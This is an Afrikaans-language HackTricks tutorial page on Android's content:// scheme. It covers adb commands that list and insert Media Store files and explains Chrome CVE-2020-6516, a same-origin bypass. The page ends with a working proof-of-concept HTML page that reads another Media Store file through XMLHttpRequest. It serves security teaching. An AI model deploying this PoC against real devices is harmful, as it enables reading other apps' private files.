content:// protocol

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Dit is 'n opsomming van die pos https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Lys van Lêers in Media Store

Om lêers wat deur die Media Store bestuur word, te lys, kan die volgende bevel gebruik word:

$ content query --uri content://media/external/file

Vir 'n meer mensvriendelike uitset, vertoon slegs die identifiseerder en pad van elke geïndekseerde lêer:

$ content query --uri content://media/external/file --projection _id,_data

Contentverskaffers is geïsoleer in hul eie private namespace. Toegang tot 'n verskaffer vereis die spesifieke content:// URI. Inligting oor die paaie om 'n verskaffer te benader kan verkry word uit aansoek-manifeste of die bronkode van die Android-raamwerk.

Chrome se Toegang tot Inhoudsverskaffers

Chrome op Android kan toegang verkry tot inhoudsverskaffers deur die content:// skema, wat dit in staat stel om bronne soos foto's of dokumente wat deur derdeparty-aansoeke uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Media Store ingevoeg word en daarna via Chrome benader word:

Voeg 'n aangepaste inskrywing by die Media Store in:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ontdek die identifiseerder van die nuut ingevoegde lêer:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Die lêer kan dan in Chrome besigtig word deur 'n URL te gebruik wat saamgestel is met die lêer se identifiseerder.

Byvoorbeeld, om lêers wat verband hou met 'n spesifieke aansoek te lys:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Oorskryding

Die Same Origin Policy (SOP) is 'n sekuriteitsprotokol in webblaaier wat webblaaie beperk om met bronne van verskillende oorsprong te interaksieer tensy dit uitdruklik toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om informasie lekke en kruis-webwerfversoekvervalsing te voorkom. Chrome beskou content:// as 'n plaaslike skema, wat impliseer dat strenger SOP-reëls van toepassing is, waar elke plaaslike skema-URL as 'n afsonderlike oorsprong beskou word.

Nietemin was CVE-2020-6516 'n kwesbaarheid in Chrome wat 'n oorskryding van SOP-reëls vir bronne wat gelaai is via 'n content://-URL toegelaat het. In werklikheid kon JavaScript-kode vanaf 'n content://-URL toegang verkry tot ander bronne wat gelaai is via content://-URL's, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes vroër as Android 10 hardloop, waar omvangbeheer nie geïmplementeer was nie.

Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder /sdcard geüpload is en by die Media Store gevoeg is, XMLHttpRequest in sy JavaScript gebruik om die inhoud van 'n ander lêer in die Media Store te benader en te vertoon, terwyl die SOP-reëls omseil word.

Bewys-van-konsep HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated